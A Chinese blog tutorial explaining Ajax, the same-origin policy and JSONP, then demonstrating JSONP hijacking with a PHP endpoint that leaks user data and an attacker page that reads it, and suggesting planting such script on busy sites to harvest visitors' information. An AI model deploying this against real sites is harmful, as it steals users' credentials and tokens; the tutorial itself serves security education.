分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
前言
偶然看到freebuf去年的一篇文章,JSONP注入解析 ,看完整篇文章并没有太理解其提到的JSONP,仔细查阅了相关资料,在这里将所得与大家分享~
从Ajax谈起
先提两个众所周知的概念:
- Ajax,Asynchronous JavaScript and XML,意思就是用JavaScript执行异步网络请求。
- Web的运作原理:一次HTTP请求对应一个页面。
那么问题来了,当我需要用户感觉自己仍然停留在当前页面,但是部分页面(数据)却可以不断地更新,我该如何去实现呢?当然是让用户留在当前页面中,同时发出新的HTTP请求,这时就必须用JavaScript发送这个新请求,接收到数据后,再用JavaScript更新页面
一个例子:
function success(text) { alert('success');}function fail(code) { alert('fail');}var request = new XMLHttpRequest(); // 新建XMLHttpRequest对象request.onreadystatechange = function () { // 状态发生变化时,函数被回调 if (request.readyState === 4) { // 成功完成 // 判断响应结果: if (request.status === 200) { // 成功,通过responseText拿到响应的文本: return success(request.responseText); } else { // 失败,根据响应码判断失败原因: return fail(request.status); } } else { // HTTP请求还在继续... }}// 发送请求:request.open('GET', 'http://7xrous.com1.z0.glb.clouddn.com/test2.txt');request.send();
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
注意上面代码中的请求地址,这是我七牛云储存的一个test2.txt的外链,当我在和其同源的http://7xrous.com1.z0.glb.clouddn.com/test.txt的控制台中运行这段代码,弹窗success,但是当我在不同源的地方,比如google的控制台去运行,则弹窗fail
这里先补充下同源的概念:
- 对于绝对的URIs,源就是{协议,主机,端口}定义的。只有这些值完全一样才认为两个资源是同源的。
那么问题来了,一个公司拥有很多子域名,比如说官网xxx.com的一个Ajax需要调用download.xxx.com的某个资源,跨域了,不可调用,这该怎么办?
jsonp就是一种解决跨域的手段,而问题也就出在这里~
再来聊聊Jsonp
Jsonp有个限制,只能用GET请求,并且要求返回JavaScript。这种方式跨域实际上是利用了浏览器允许跨域引用JavaScript资源,类似这种:
<html><head> <script src="http://xxx.com/xxx.js"></script> ...</head><body>...</body></html>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
举个例子:
环境,本地wamp
sever端1.html代码:
<!DOCTYPE html><html><head> <title>test_jsonp</title> <meta charset="utf-8"></head><script type="text/javascript"> function refreshPrice(data) { var p = document.getElementById('test-jsonp'); p.innerHTML = '当前价格:' + data['0000002'].name +': ' + data['0000002'].price + ';' + data['1399010'].name + ': ' + data['1399010'].price; } function getPrice() { var js = document.createElement('script'), head = document.getElementsByTagName('head')[0]; js.src = 'http://api.money.126.net/data/feed/0000002,1399010?callback=refreshPrice'; head.appendChild(js); }</script><body><p>hello,friend!</p><p id="test-jsonp">当前价格:</p><p><button type="button" onclick="getPrice()">刷新</button></p></body></html>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
效果图:
JSONP由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数,而数据就是传入回调函数中的JSON数据。
Jsonp hijacking演示
下面用自己的云服务器模拟环境演示下如何进行Jsonp hijacking攻击
云服务器端(演示的是站点的某些存在漏洞api接口,也可以说是信息泄露):
<?php$callback = $_GET['callback'];//得到回调函数名$data = array( "username"=>"test", "password"=>"123456", "userimage"=>"http://xxx.com/sfhwifhiwhfwifhwifw.jpg" );//要返回的数据echo $callback.'('.json_encode($data).')';//输出?>//这里用password比较夸张了,但是日常中还是有站点将重要身份令牌给泄露出来的
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
水坑攻击端
所谓水坑攻击,用打战的观点来说,就是在必经之路设下埋伏
<!DOCTYPE html><html><head> <title>test_jsonp</title> <meta charset="utf-8"></head><script type="text/javascript"> function refresh(data) { var p = document.getElementById('test-jsonp'); p.innerHTML = '测试:'+"</br>"+ data.username +"</br>"+ data.password +"</br>"+ data.userimage +"</br>"; } function gettxt() { var js = document.createElement('script'), head = document.getElementsByTagName('head')[0]; js.src = 'http://xxx.xxx.xxx.xxx/test2.php?callback=refresh'; head.appendChild(js); }</script><body><p>hello,friend!</p><p id="test-jsonp">测试:</p><p><button type="button" onclick="gettxt()">刷新</button></p></body></html>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
效果图:
so,如果找到一个站点有利用到jsonp跨域,但返回的数据中又有一些重要的信息,我们可以在一个访问量高的站点,或者自己的博客(233)去插入一段js,如果访问者都登陆过了该站点,则可以获取大批量的重要信息
这里放几个乌云镜像上之前爆出的漏洞:
2016-05-04 新浪微博之点击我的链接就登录你的微博(JSONP劫持)
2016-01-27 中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)
2016-01-20 新浪微博JSONP劫持之点我链接开始微博蠕虫+刷粉丝
文章如有解释的不正确的地方,欢迎指出,共同讨论~